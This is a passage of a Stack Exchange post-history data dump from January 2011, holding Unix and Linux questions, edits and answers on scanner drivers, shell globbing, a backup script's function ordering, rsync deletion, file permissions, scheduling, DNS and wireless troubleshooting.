  <row Id="12490" PostHistoryTypeId="2" PostId="5569" RevisionGUID="fbceb30e-cf53-41e1-b56e-b1ebcc7c565a" CreationDate="2011-01-09T05:16:11.297" UserId="3519" Text="I have read a number of posts on the topic and it seems that for now it is not possible to use sane to read infrared data (second pass) with my Epson Perfection V700 scanner out of the box.&#xD;&#xA;&#xD;&#xA;But are there any options to get that working? Any known patch? Any configuration behind the scenes? Any undocumented feature?&#xD;&#xA;&#xD;&#xA;I just asked the question on Avasys' message board, but if any of you guys out there had relevant information, I would appreciate greatly.&#xD;&#xA;&#xD;&#xA;Of particular interest is the 6400dpi resolution in 16bits per channel to scan slides, so I need the infrared option on the `epkowa` driver as the `epson2` driver seems limited to 3200dpi anyway.&#xD;&#xA;&#xD;&#xA;As far as I can tell neither `epkowa` nor `epson2` offers the infrared scan, though it seems that it should be a simple option (`vuescan` actually can do the job, it does two scan passes, one for the RGB and one for the infrared, but I would much prefer to be able to do my scans from the command-line).&#xD;&#xA;&#xD;&#xA;Note that I don't mind if the infrared scan comes out as a separate image, I can manage to combine them as needed.&#xD;&#xA;&#xD;&#xA;Also of interest and not included in the current `sane-epkowa` driver are:&#xD;&#xA;1/ scans with multiple samples&#xD;&#xA;2/ confirmation that the `scanimage` `-brightness` setting actually changes the CCD exposure time (rather than performing software image processing)" />
  <row Id="12491" PostHistoryTypeId="1" PostId="5569" RevisionGUID="fbceb30e-cf53-41e1-b56e-b1ebcc7c565a" CreationDate="2011-01-09T05:16:11.297" UserId="3519" Text="How to get infrared image data with sane on an epson v700 scanner?" />
  <row Id="12492" PostHistoryTypeId="3" PostId="5569" RevisionGUID="fbceb30e-cf53-41e1-b56e-b1ebcc7c565a" CreationDate="2011-01-09T05:16:11.297" UserId="3519" Text="édriversàéscanneràésaneà" />
  <row Id="12493" PostHistoryTypeId="2" PostId="5570" RevisionGUID="63467d91-7913-41e3-91fa-bf5f7534fba5" CreationDate="2011-01-09T05:18:52.280" UserId="688" Text="I've upgraded Firefox from 3 to 4 beta8. My Bookmarks toolbar has disappeared and I can't find the option to make it appear again." />
  <row Id="12494" PostHistoryTypeId="1" PostId="5570" RevisionGUID="63467d91-7913-41e3-91fa-bf5f7534fba5" CreationDate="2011-01-09T05:18:52.280" UserId="688" Text="How to have the Bookmarks toolbar show up on Firefox 4?" />
  <row Id="12495" PostHistoryTypeId="3" PostId="5570" RevisionGUID="63467d91-7913-41e3-91fa-bf5f7534fba5" CreationDate="2011-01-09T05:18:52.280" UserId="688" Text="éfirefoxàéupgradeà" />
  <row Id="12500" PostHistoryTypeId="2" PostId="5572" RevisionGUID="d152d15e-61e6-4557-8b18-bdcfb3f698f1" CreationDate="2011-01-09T05:38:29.540" UserId="29" Text="The other day at work I tried doing&#xD;&#xA;&#xD;&#xA;    scp remotehost:~/*.txt .&#xD;&#xA;&#xD;&#xA;and I received an error about the  `*`, `*.txt file not found` *sorry, not at work and I forget the exact error*&#xD;&#xA;&#xD;&#xA;on my workstation I run `zsh` 4.3. on the remotehost `bash` is the default shell, and the version of `zsh` is older (*4.2* vs *4.3*) on that. I then tried switching to bash on my workstation, and doing the exact same command. This time it worked. What is the root 'cause of this. Is there anyway to do globbing, or wildcards between these 2 systems (without switching to bash)?" />
  <row Id="12501" PostHistoryTypeId="1" PostId="5572" RevisionGUID="d152d15e-61e6-4557-8b18-bdcfb3f698f1" CreationDate="2011-01-09T05:38:29.540" UserId="29" Text="scp, globbing, and different shells" />
  <row Id="12502" PostHistoryTypeId="3" PostId="5572" RevisionGUID="d152d15e-61e6-4557-8b18-bdcfb3f698f1" CreationDate="2011-01-09T05:38:29.540" UserId="29" Text="ébashàéshellàésshàézshàéwildcardsà" />
  <row Id="12503" PostHistoryTypeId="2" PostId="5573" RevisionGUID="c0636548-f184-4817-9c09-b0d8855923e6" CreationDate="2011-01-09T05:55:36.323" UserId="3518" Text="Hey Guys ;D &#xD;&#xA;&#xD;&#xA;I am trying to learn shell script atm by reading at linuxcommand.org. For some reason i keep getting the error Not Found, even though it runs all the commands. i Included a link to the script on pastie.org&#xD;&#xA;&#xD;&#xA;[Script here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://pastie.org/private/1seri4uuvmharoineugya&#xD;&#xA;&#xD;&#xA;The error codes i get are:&#xD;&#xA;&#xD;&#xA;minecraft_backup.sh: 21: run_backup: not found&#xD;&#xA;&#xD;&#xA;minecraft_backup.sh: 23: function: not found&#xD;&#xA;&#xD;&#xA;Any help is appreciated :D&#xD;&#xA;" />
  <row Id="12504" PostHistoryTypeId="1" PostId="5573" RevisionGUID="c0636548-f184-4817-9c09-b0d8855923e6" CreationDate="2011-01-09T05:55:36.323" UserId="3518" Text="Shell script error message" />
  <row Id="12505" PostHistoryTypeId="3" PostId="5573" RevisionGUID="c0636548-f184-4817-9c09-b0d8855923e6" CreationDate="2011-01-09T05:55:36.323" UserId="3518" Text="ébashàéubuntuà" />
  <row Id="12506" PostHistoryTypeId="2" PostId="5574" RevisionGUID="f3d53148-43b8-4929-9b69-53683fb14d5f" CreationDate="2011-01-09T06:19:41.800" UserId="688" Text="I didn't think of looking at __View__ menu. It's __View__ -&gt; __ToolBar__ -&gt; __Bookmarks Toolbar__." />
  <row Id="12507" PostHistoryTypeId="5" PostId="5573" RevisionGUID="cb9cd573-71a5-4667-9ee5-537f7b079030" CreationDate="2011-01-09T06:21:16.493" UserId="29" Comment="add link, add tag, put script in question." Text="Hey Guys ;D &#xD;&#xA;&#xD;&#xA;I am trying to learn shell script atm by reading at [linuxcommand.org](http://linuxcommand.org/). For some reason i keep getting the error Not Found, even though it runs all the commands.&#xD;&#xA;&#xD;&#xA;The error codes i get are:&#xD;&#xA;&#xD;&#xA;    minecraft_backup.sh: 21: run_backup: not found&#xD;&#xA;&#xD;&#xA;    minecraft_backup.sh: 23: function: not found&#xD;&#xA;&#xD;&#xA;Any help is appreciated :D&#xD;&#xA;&#xD;&#xA;Here's the script&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #MineCraft backup script by&#xD;&#xA;    &#xD;&#xA;    #Variables&#xD;&#xA;    APP=MineCraft&#xD;&#xA;    SERVICE=Minecraft_Mod.jar&#xD;&#xA;    APPDIR=/opt/MineCraft_Server/bin&#xD;&#xA;    BACKUPDIR1=/opt/MineCraft_Server/backup1&#xD;&#xA;    BACKUPDIR2=/opt/MineCraft_Server/backup2&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #First i want to check if minecraft server is running.&#xD;&#xA;    if(ps ax | grep -v grep | grep $SERVICE &gt; /dev/null)&#xD;&#xA;    then&#xD;&#xA;        echo &quot;$APP is running&quot;&#xD;&#xA;        $(run_backup)&#xD;&#xA;    else&#xD;&#xA;        echo &quot;$APP is not running&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    function run_backup&#xD;&#xA;    {&#xD;&#xA;        echo &quot;Starting back up&quot;&#xD;&#xA;        &#xD;&#xA;        #create backup dirs of they do not exit&#xD;&#xA;        if [ ! -d &quot;$BACKUPDIR1&quot; ]&#xD;&#xA;        then&#xD;&#xA;            mkdir $BACKUPDIR1&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if [ ! -d &quot;$BACKUPDIR2&quot; ]&#xD;&#xA;        then&#xD;&#xA;            mkdir $BACKUPDIR2&#xD;&#xA;            echo &quot;test&quot;&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        #backup save1 to save2&#xD;&#xA;        rsync -av --delete &quot;$BACKUPDIR1/&quot; &quot;$BACKUPDIR2&quot;&#xD;&#xA;    &#xD;&#xA;        #backup running app to save 1&#xD;&#xA;        rsync -av --delete &quot;$APPDIR/&quot; &quot;$BACKUPDIR1&quot;&#xD;&#xA;        &#xD;&#xA;    }" />
  <row Id="12508" PostHistoryTypeId="6" PostId="5573" RevisionGUID="cb9cd573-71a5-4667-9ee5-537f7b079030" CreationDate="2011-01-09T06:21:16.493" UserId="29" Comment="add link, add tag, put script in question." Text="ébashàéubuntuàéshellàéshellöscriptà" />
  <row Id="12510" PostHistoryTypeId="2" PostId="5576" RevisionGUID="44724f47-05f8-4add-a652-81c6bb4342d4" CreationDate="2011-01-09T06:39:32.757" UserId="29" Text="I'm going to make some guesses... `vim` doesn't like `if(` so try `if (` that may be just a vim thing though.&#xD;&#xA;&#xD;&#xA;I think perhaps your real issue is that you call `run_backup` before you've created it. put your `function` before your `if then else` block" />
  <row Id="12511" PostHistoryTypeId="5" PostId="5576" RevisionGUID="d04980ea-acb7-49bc-a94a-5ae5d761a3fa" CreationDate="2011-01-09T06:44:51.270" UserId="29" Comment="reword for clarity" Text="I'm going to make some guesses... `vim` doesn't like `if(` so try `if (` that may be just a vim thing though.&#xD;&#xA;&#xD;&#xA;I think your real issue is that you call `run_backup` before you've created it. put your `function` before your `if then else` block. the shell has to be aware of functions before it can use them. this is true of programming in general." />
  <row Id="12512" PostHistoryTypeId="5" PostId="5451" RevisionGUID="0b604896-21a9-46ff-87be-eb156f382ad8" CreationDate="2011-01-09T06:49:10.570" UserId="1875" Comment="added 8 characters in body; edited title; edited title" Text="Say I have&#xD;&#xA;&#xD;&#xA;    SRC &#xD;&#xA;      001.jpg&#xD;&#xA;      002.jpg&#xD;&#xA;      001.txt&#xD;&#xA;      a.zip&#xD;&#xA;    &#xD;&#xA;    DEST&#xD;&#xA;      hello.jpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`rsync -d --delete SRC:{*.jpg,*.txt} DEST`&#xD;&#xA;&#xD;&#xA;It doesn't remove hello.jpg from DEST, any idea how to archive this?&#xD;&#xA;" />
  <row Id="12513" PostHistoryTypeId="4" PostId="5451" RevisionGUID="0b604896-21a9-46ff-87be-eb156f382ad8" CreationDate="2011-01-09T06:49:10.570" UserId="1875" Comment="added 8 characters in body; edited title; edited title" Text="How sync files from SRC to DEST,  also remove files in the DEST that doesn't exist in SRC?" />
  <row Id="12514" PostHistoryTypeId="6" PostId="5573" RevisionGUID="e0bbd7c6-a5e9-415b-8a14-7c9029592280" CreationDate="2011-01-09T06:53:02.507" UserId="29" Comment="remove ubuntu tag, I see no relevance" Text="ébashàéshellàéshellöscriptà" />
  <row Id="12515" PostHistoryTypeId="4" PostId="5451" RevisionGUID="6a3b0408-1d5f-4765-aaf1-8ecc8210b4b8" CreationDate="2011-01-09T06:54:13.737" UserId="1875" Comment="edited title; edited title" Text="Delete extraneous files from dest dir via rsync?" />
  <row Id="12516" PostHistoryTypeId="6" PostId="5573" RevisionGUID="29592d3d-e011-4675-962e-3c687f4e4647" CreationDate="2011-01-09T07:09:02.407" UserId="29" Comment="maybe I lied and this is ubuntu specific." Text="ébashàéshellàéubuntuàéshellöscriptà" />
  <row Id="12517" PostHistoryTypeId="2" PostId="5577" RevisionGUID="c905b36d-c450-4852-a48f-58861c91564e" CreationDate="2011-01-09T08:00:50.053" UserId="3518" Text="I think i solved it myself. Seems like i got owned by the fact that ubuntu uses dash as default, and i was running the script using the sh command... &quot;sigh&quot; " />
  <row Id="12518" PostHistoryTypeId="5" PostId="5473" RevisionGUID="eb45df35-7bf4-4811-88e7-c6c0e793a593" CreationDate="2011-01-09T08:06:51.883" UserId="1207" Comment="added 1449 characters in body; deleted 7 characters in body" Text="The reason your command isn't working is explained my the manual page for find (emphasis added):&#xD;&#xA;&#xD;&#xA;&gt; --delete&#xD;&#xA;&gt; &#xD;&#xA;This  tells  rsync to delete extraneous files from the receiving side (ones that aren’t on the sending side), but  only  for the directories  that  are  being synchronized.  **You must have asked rsync to send the whole directory (e.g. &quot;dir&quot; or &quot;dir/&quot;)&#xD;&#xA;&gt; without using  a  wildcard  for  the directory’s contents (e.g.&#xD;&#xA;&gt; &quot;dir/*&quot;) since the wildcard is expanded by the shell and rsync thus &#xD;&#xA;&gt; gets a  request  to  transfer individual files, not the files’&#xD;&#xA;&gt; parent directory.**  Files that are excluded from the transfer  are &#xD;&#xA;&gt; also excluded from being deleted unless you use the --delete-excluded option or mark the rules as only matching on  the  sending side&#xD;&#xA;&gt;               (see the include/exclude modifiers in the FILTER RULES&#xD;&#xA;&gt; section).&#xD;&#xA;&#xD;&#xA;Thus, when you run&#xD;&#xA;&#xD;&#xA;    $ rsync -d --delete SRC:{*.jpg,*.txt} DEST&#xD;&#xA;&#xD;&#xA;the unwanted files in DEST are not being deleted because you haven't actually asked for a directory to be synced, but just for a handful of specific files.  To get the results you desire, try something like this:&#xD;&#xA;&#xD;&#xA;    rsync -d --delete-excluded --include '*.jpg' --include '*.txt' --exclude '*' SRC/ DEST/&#xD;&#xA;&#xD;&#xA;Notice that the order of the include and exclude directives matter.  Essentially, each file is checked against the include or exclude patterns in the order that they appear.  Thus, files with .jpg or .txt extensions are synced since they match the &quot;included&quot; patterns before they match the excluded &quot;*&quot; pattern." />
  <row Id="12519" PostHistoryTypeId="5" PostId="5473" RevisionGUID="caaf83fa-abd1-4c27-886b-46324a7843a2" CreationDate="2011-01-09T08:20:05.440" UserId="1207" Comment="added 1 characters in body" Text="The reason your command isn't working is explained by the manual page for rsync (emphasis added):&#xD;&#xA;&#xD;&#xA;&gt; --delete&#xD;&#xA;&gt; &#xD;&#xA;This  tells  rsync to delete extraneous files from the receiving side (ones that aren’t on the sending side), but  only  for the directories  that  are  being synchronized.  **You must have asked rsync to send the whole directory (e.g. &quot;dir&quot; or &quot;dir/&quot;)&#xD;&#xA;&gt; without using  a  wildcard  for  the directory’s contents (e.g.&#xD;&#xA;&gt; &quot;dir/*&quot;) since the wildcard is expanded by the shell and rsync thus &#xD;&#xA;&gt; gets a  request  to  transfer individual files, not the files’&#xD;&#xA;&gt; parent directory.**  Files that are excluded from the transfer  are &#xD;&#xA;&gt; also excluded from being deleted unless you use the --delete-excluded option or mark the rules as only matching on  the  sending side&#xD;&#xA;&gt;               (see the include/exclude modifiers in the FILTER RULES&#xD;&#xA;&gt; section).&#xD;&#xA;&#xD;&#xA;Thus, when you run&#xD;&#xA;&#xD;&#xA;    $ rsync -d --delete SRC:{*.jpg,*.txt} DEST&#xD;&#xA;&#xD;&#xA;the unwanted files in DEST are not being deleted because you haven't actually asked for a directory to be synced, but just for a handful of specific files.  To get the results you desire, try something like this:&#xD;&#xA;&#xD;&#xA;    rsync -d --delete-excluded --include '*.jpg' --include '*.txt' --exclude '*' SRC/ DEST/&#xD;&#xA;&#xD;&#xA;Notice that the order of the include and exclude directives matter.  Essentially, each file is checked against the include or exclude patterns in the order that they appear.  Thus, files with .jpg or .txt extensions are synced since they match the &quot;included&quot; patterns before they match the excluded &quot;*&quot; pattern." />
  <row Id="12520" PostHistoryTypeId="2" PostId="5578" RevisionGUID="c93732d1-2c2c-4da9-aa2c-69cfc57a25f9" CreationDate="2011-01-09T08:53:36.427" UserId="3082" Text="zsh's behavior is a little different here than most other shells. Other shells, like bash, try to expand the wildcards. If they cannot expand to anything they pass the literal string (containing the wildcards) to the application instead. But zsh does not do that (well, there is an option for that, to do it or not). The zsh will print that error and not perform the command. You can override that by escaping the wildcard, if you really want it passed to the application. In this case you do since you want the other side shell to expand it. So use:&#xD;&#xA;&#xD;&#xA;    scp remotehost:\*.txt .&#xD;&#xA;&#xD;&#xA;This is actually the correct behavior, since if you did have some local *.txt files in your home they would be expanded to a name that might not exist on the remote. That's not what you want. &#xD;&#xA;" />
  <row Id="12521" PostHistoryTypeId="2" PostId="5579" RevisionGUID="5fcb118a-68db-4a2e-a410-f7719788cf6a" CreationDate="2011-01-09T09:04:58.427" UserId="3309" Text="Your functions need to be defined before you use them." />
  <row Id="12522" PostHistoryTypeId="5" PostId="5573" RevisionGUID="8de8f47e-38ba-434c-944b-5e1d10a305e2" CreationDate="2011-01-09T09:16:01.203" UserId="73" Comment="deleted 47 characters in body; edited tags" Text="I am trying to learn shell scripting by reading [linuxcommand.org](http://linuxcommand.org/). For some reason I keep getting the error &quot;Not Found&quot;, even though it runs all the commands.&#xD;&#xA;&#xD;&#xA;The error codes I get are:&#xD;&#xA;&#xD;&#xA;    minecraft_backup.sh: 21: run_backup: not found&#xD;&#xA;&#xD;&#xA;    minecraft_backup.sh: 23: function: not found&#xD;&#xA;&#xD;&#xA;Here's the script:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    #MineCraft backup script by&#xD;&#xA;    &#xD;&#xA;    #Variables&#xD;&#xA;    APP=MineCraft&#xD;&#xA;    SERVICE=Minecraft_Mod.jar&#xD;&#xA;    APPDIR=/opt/MineCraft_Server/bin&#xD;&#xA;    BACKUPDIR1=/opt/MineCraft_Server/backup1&#xD;&#xA;    BACKUPDIR2=/opt/MineCraft_Server/backup2&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #First i want to check if minecraft server is running.&#xD;&#xA;    if(ps ax | grep -v grep | grep $SERVICE &gt; /dev/null)&#xD;&#xA;    then&#xD;&#xA;        echo &quot;$APP is running&quot;&#xD;&#xA;        $(run_backup)&#xD;&#xA;    else&#xD;&#xA;        echo &quot;$APP is not running&quot;&#xD;&#xA;        exit 1&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    function run_backup&#xD;&#xA;    {&#xD;&#xA;        echo &quot;Starting back up&quot;&#xD;&#xA;        &#xD;&#xA;        #create backup dirs of they do not exit&#xD;&#xA;        if [ ! -d &quot;$BACKUPDIR1&quot; ]&#xD;&#xA;        then&#xD;&#xA;            mkdir $BACKUPDIR1&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        if [ ! -d &quot;$BACKUPDIR2&quot; ]&#xD;&#xA;        then&#xD;&#xA;            mkdir $BACKUPDIR2&#xD;&#xA;            echo &quot;test&quot;&#xD;&#xA;        fi&#xD;&#xA;    &#xD;&#xA;        #backup save1 to save2&#xD;&#xA;        rsync -av --delete &quot;$BACKUPDIR1/&quot; &quot;$BACKUPDIR2&quot;&#xD;&#xA;    &#xD;&#xA;        #backup running app to save 1&#xD;&#xA;        rsync -av --delete &quot;$APPDIR/&quot; &quot;$BACKUPDIR1&quot;&#xD;&#xA;        &#xD;&#xA;    }" />
  <row Id="12523" PostHistoryTypeId="6" PostId="5573" RevisionGUID="8de8f47e-38ba-434c-944b-5e1d10a305e2" CreationDate="2011-01-09T09:16:01.203" UserId="73" Comment="deleted 47 characters in body; edited tags" Text="ébashàéubuntuàéshellàéshellöscriptà" />
  <row Id="12524" PostHistoryTypeId="2" PostId="5580" RevisionGUID="f5eaab26-3ae9-439f-9232-ebe0737b9e71" CreationDate="2011-01-09T09:56:51.023" UserId="3309" Text="It's all a method of granting various access to a file.&#xD;&#xA;&#xD;&#xA;User is an individual user. Use this when you want to give one person and only one person access.&#xD;&#xA;Group is more than one user. Use this when you want to give several people access. Put them all in a unique group and set that as the group owner.&#xD;&#xA;Other is for anybody who isn't the user or group owner.&#xD;&#xA;&#xD;&#xA;A file always must have a user owner and a group owner. Often each user will have a group named after them with only them as a member. This way you can have a file that is truly owned by a single individual.&#xD;&#xA;&#xD;&#xA;The permissions are as follows&#xD;&#xA;&#xD;&#xA; * R -- Allows a user to read the contents of the file&#xD;&#xA; * W -- Allows a user to write to the file&#xD;&#xA; * X -- Allows a user to execute a file as a program&#xD;&#xA;&#xD;&#xA;R and W are probably pretty self explanatory. X may be a little confusing. In some situations you only want certain users to execute certain programs. For example, perhaps you don't want regular users to execute `fdisk` or `format`. Removing the X permission from `other` will allow you to restrict it like that.&#xD;&#xA;&#xD;&#xA;File permissions when listed are displayed as something like `rwxr-xr-x`. This is actually three groups of permissions. The first three are for the user owner. The second three are for the group owner and the last three are for all other users. A letter indicates the permission is granted, while a dash indicates that permission is denied. In the example I used the user owner can read the file, write new contents and execute the file as a program. Group and other however may only read and execute.&#xD;&#xA;&#xD;&#xA;Some common &quot;gotchas&quot;&#xD;&#xA;&#xD;&#xA; * Making a file write only (-w-) is probably not what you want&#xD;&#xA; * In order to execute you must also have read. That is, --x is useless on a file, it must be r-x.&#xD;&#xA; * There are other permissions than these which can be stored in ACLs. If your operating system and/or filesystem support POSIX, NFSv4 or extended ACLs you may need to also check permissions there&#xD;&#xA; * Permissions as they apply to directories is slightly different, but close enough that you don't need to worry about that for now except that you should always enable r and x together on directories." />
  <row Id="12525" PostHistoryTypeId="5" PostId="5574" RevisionGUID="474027d0-75de-4a34-a2cc-df5b326b81c5" CreationDate="2011-01-09T10:05:19.390" UserId="688" Comment="add one more option" Text="I've since learned of __2__ ways to do this:&#xD;&#xA;&#xD;&#xA;* `View` menu -&gt; `ToolBar` -&gt; `Bookmarks Toolbar`&#xD;&#xA;* right-click `Bookmarks` menu-&gt; `Bookmarks Toolbar`" />
  <row Id="12526" PostHistoryTypeId="2" PostId="5581" RevisionGUID="ed5ab7e8-e1b0-467f-bf87-86b0e6da9aa4" CreationDate="2011-01-09T11:10:37.577" UserId="3523" Text="As pointed out by [SiegeX](http://unix.stackexchange.com/users/1338/siegex), Shell alone does not understand [regular expressions](http://en.wikipedia.org/wiki/Regular_expression).&#xD;&#xA;If you want a precise filter of your files, you must use regular expressions and hence use a command like `egrep`.&#xD;&#xA;&#xD;&#xA;Here, the files you want to list begin with `lazer_` and are followed only by some digits (possibly more or less that 6). I would do it this way:&#xD;&#xA;&#xD;&#xA;    ls | egrep '^lazer_[[:digit:]]*$'&#xD;&#xA;&#xD;&#xA;This regex works the same as `'^lazer_[0-9]*$'`.&#xD;&#xA;&#xD;&#xA;Regular expressions with `egrep` also handles repetition just like in the answer of [wag](http://unix.stackexchange.com/users/3069/wag), if you want to restrict your list to files ending with exactly 6 digits:&#xD;&#xA;&#xD;&#xA;    ls | egrep '^lazer_[[:digit:]]{6}$'" />
  <row Id="12527" PostHistoryTypeId="2" PostId="5582" RevisionGUID="a26c18e1-e928-478d-83a1-f73c56ddd0d3" CreationDate="2011-01-09T11:34:32.743" UserId="341" Text="I'd like to execute a task at a given time, once.&#xD;&#xA;&#xD;&#xA;I know I can just use crontab -e to add it there, but I'd like to do that through a shellscript. `crontab -e` gives me some temporary file to edit which is unpredictable.&#xD;&#xA;&#xD;&#xA;Also, once the task executes I'd like to remove it from the crontab again to make sure it'd not leaving behind mess.&#xD;&#xA;&#xD;&#xA;So is there a standardized way to add/remove entries from my personal crontab through a script?&#xD;&#xA;&#xD;&#xA;I know I could roll my own system: Have a script that executes every minute that executes and deletes .sh files from a folder and have my &quot;addtask&quot; script create .sh files in that folder, but before rolling my own I wonder if there is something already.&#xD;&#xA;&#xD;&#xA;If it matters, I use Mac OS X and zsh but I wanted to use something that works on other *nixes as well." />
  <row Id="12528" PostHistoryTypeId="1" PostId="5582" RevisionGUID="a26c18e1-e928-478d-83a1-f73c56ddd0d3" CreationDate="2011-01-09T11:34:32.743" UserId="341" Text="Add a one-off scheduled task through a shell script?" />
  <row Id="12529" PostHistoryTypeId="3" PostId="5582" RevisionGUID="a26c18e1-e928-478d-83a1-f73c56ddd0d3" CreationDate="2011-01-09T11:34:32.743" UserId="341" Text="éshellöscriptàéschedulingàécronà" />
  <row Id="12532" PostHistoryTypeId="2" PostId="5584" RevisionGUID="983b2ebf-4580-4ecc-b38a-94168baa3b25" CreationDate="2011-01-09T11:59:46.307" UserId="3534" Text="I think the &quot;at&quot; command is what you are after.&#xD;&#xA;&#xD;&#xA;http://www.softpanorama.org/Utilities/at.shtml" />
  <row Id="12534" PostHistoryTypeId="2" PostId="5585" RevisionGUID="2f469ab8-19cb-4610-8113-e7987de23a42" CreationDate="2011-01-09T12:13:01.090" UserId="3468" Text="Hello, I am having a very odd DNS issue. I live on-campus and the university provides Internet access with my rent, but I can not get access to the university websites. I am hoping to get direction on how to diagnosis my specific DNS issue as described below. Thanks a ton!&#xD;&#xA;&#xD;&#xA;I have an OpenWRT base router/firewall - 10.3.1-rc4 that works just grand. I have no issues what so ever, except when I use the campus network, I can no resolve the university's domain. &#xD;&#xA;&#xD;&#xA;I have verified that OpenWRT is using the campus name servers:&#xD;&#xA;&#xD;&#xA;    root@tdwrt:~# cat /tmp/resolv.conf.auto &#xD;&#xA;        nameserver 10.35.60.8&#xD;&#xA;        nameserver 10.25.60.2&#xD;&#xA;        search resnet.uwyo.edu&#xD;&#xA;        root@tdwrt:~# wget http://google.com&#xD;&#xA;        Connecting to google.com (209.85.225.105:80)&#xD;&#xA;        Connecting to www.google.com (209.85.225.147:80)&#xD;&#xA;        index.html           100% |**************************************************************|  8746  --:--:-- ETA&#xD;&#xA;        root@tdwrt:~# wget http://uwyo.edu  &#xD;&#xA;        wget: bad address 'uwyo.edu'&#xD;&#xA;        root@tdwrt:~# ping -c5 uwyo.edu&#xD;&#xA;        ping: bad address 'uwyo.edu'&#xD;&#xA;        root@tdwrt:~# &#xD;&#xA;&#xD;&#xA;I signed up for 3rd party ISP for two months and when using the cable co as my ISP, I can resolve the university site just fine. But why pay $40 per mo, when it is suppose to be included in my rent?!&#xD;&#xA;&#xD;&#xA;I have also re-flashed the device to get rid of any potential malformed configs.&#xD;&#xA;&#xD;&#xA;I run &quot;tcpdump -n -i br-lan | grep .53 | grep domain.com&quot; and then try to access the domain, but I do not get any output. When I run the same (with different interface) on my workstation, it shows the router being queried for address.&#xD;&#xA;&#xD;&#xA;    05:01:12.516403 IP 192.168.1.5.59064 &gt; 192.168.1.1.53: 64580+ AAAA? uwyo.edu. (26)&#xD;&#xA;    05:01:12.521326 IP 192.168.1.5.57653 &gt; 192.168.1.1.53: 31772+ AAAA? uwyo.edu. (26)&#xD;&#xA;    05:01:12.528271 IP 192.168.1.5.41321 &gt; 192.168.1.1.53: 17466+ A? uwyo.edu. (26)&#xD;&#xA;    05:01:12.537111 IP 192.168.1.5.47016 &gt; 192.168.1.1.53: 50397+ A? uwyo.edu. (26)&#xD;&#xA;&#xD;&#xA;I started a trouble ticket back in May 2009 and updated it through out the summer. I can not get the university support to touch it. Its easy to think its a problem with my router, but I say it is not so easy since EVERY other domain is just fine and even uwyo.edu works just fine when using 3rd party ISP. The problem seems to be a combo of how UW does there stuff and OpenWRT..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12535" PostHistoryTypeId="1" PostId="5585" RevisionGUID="2f469ab8-19cb-4610-8113-e7987de23a42" CreationDate="2011-01-09T12:13:01.090" UserId="3468" Text="DNS Troubleshoot.  Campus domain does not resolve when useing campus network." />
  <row Id="12536" PostHistoryTypeId="3" PostId="5585" RevisionGUID="2f469ab8-19cb-4610-8113-e7987de23a42" CreationDate="2011-01-09T12:13:01.090" UserId="3468" Text="édnsàéopenwrtà" />
  <row Id="12537" PostHistoryTypeId="2" PostId="5586" RevisionGUID="337daa91-a18e-42e3-a1a6-ac168d7cd8b8" CreationDate="2011-01-09T12:33:10.003" UserId="3468" Text="VLC now supports GPU for h.264, with a bit of extra config, check out the [wiki][1].&#xD;&#xA;&#xD;&#xA;Non-h.264 (and MPEG2) will still be handled by the CPU, but I would think a Phenom II 3gHz would do just fine. I think there is a different problem with your system. My main computer is a POS PIV D 3 gHz and only has issues if I am running another heavy job simultaneously (this is with out VLC's extra GPU functionality) &#xD;&#xA;&#xD;&#xA;Perhaps there is and issue with your x config? xorg on my machine sometimes takes 50% + at ideal... I haven't bothered and just restart KDM when it happens.&#xD;&#xA;&#xD;&#xA;You could also if your player priority for one of your cores so it doesn't have to share:&#xD;&#xA;&#xD;&#xA; - [unix.stackexchange.com][2] &#xD;&#xA; - [IBM][3] &#xD;&#xA; - [linux-noob.com][4]&#xD;&#xA;&#xD;&#xA;best of luck!&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.videolan.org/VLC_GPU_Decoding&#xD;&#xA;  [2]: http://unix.stackexchange.com/questions/73/how-can-i-set-the-processor-affinity-of-a-process-on-linux&#xD;&#xA;  [3]: http://publib.boulder.ibm.com/infocenter/clresctr/vxrx/index.jsp?topic=%2Fcom.ibm.cluster.loadl343.admin.doc%2Fam2ug_assigncpuaff.html&#xD;&#xA;  [4]: http://www.linux-noob.com/forums/index.php?/topic/2413-how-to-set-a-particular-process-to-run-on-a-specific-cpu-smp/" />
  <row Id="12538" PostHistoryTypeId="2" PostId="5587" RevisionGUID="adaded55-e211-410f-9d60-0b132d908c7b" CreationDate="2011-01-09T12:46:29.860" UserId="250" Text="My guess is, those two machines share something that should have been unique. You should check their hostnames and IP addresses, then change them appropriately." />
  <row Id="12540" PostHistoryTypeId="5" PostId="4493" RevisionGUID="f9843299-bb58-4b2b-8dd6-3ff3ce2fc178" CreationDate="2011-01-09T12:48:05.990" UserId="131" Comment="added 264 characters in body" Text="My home network uses WPA2 for encryption. To connect to it from my Arch Linux insallation, I first tried using NetworkManager, however, that only managed to connect for a minute at most before dropping the connection.&#xD;&#xA;&#xD;&#xA;I replaced it with wicd, which worked satisfactorily until somewhat recently. Since then, if it fails to establish the connection at startup, or if it loses connection, it will be unable to establish a connection. Attempting to reconnect with the GUI slows the system down so much that I have to switch from X to a tty and kill the process. The curses interface is unable to establish a connection in these circumstances, but doesn't impair system performance.&#xD;&#xA;&#xD;&#xA;Restarting the daemon is not enough to fix it from the bugged state. I need to power the system off and on again.&#xD;&#xA;&#xD;&#xA;The windows installation on the same laptop does suffer some intermittent connectivity problems (it's a crappy ISP router powering the network), but recovers from them, only requiring reconnecting to the network. Prior to using Arch Linux, I used to use Ubuntu as the Linux distro on the laptop, and that had the same results as Windows.&#xD;&#xA;&#xD;&#xA;What could be causing this problem (which I suspect may be related to the earlier NetworkManager problem), and how can I resolve it?&#xD;&#xA;&#xD;&#xA;For what it's worth, my wireless network card is a broadcom BCM4312, and it is using the b43 drivers.&#xD;&#xA;&#xD;&#xA;__EDIT__: Attempting to run wpa_supplicant while wicd is unable to connect produces 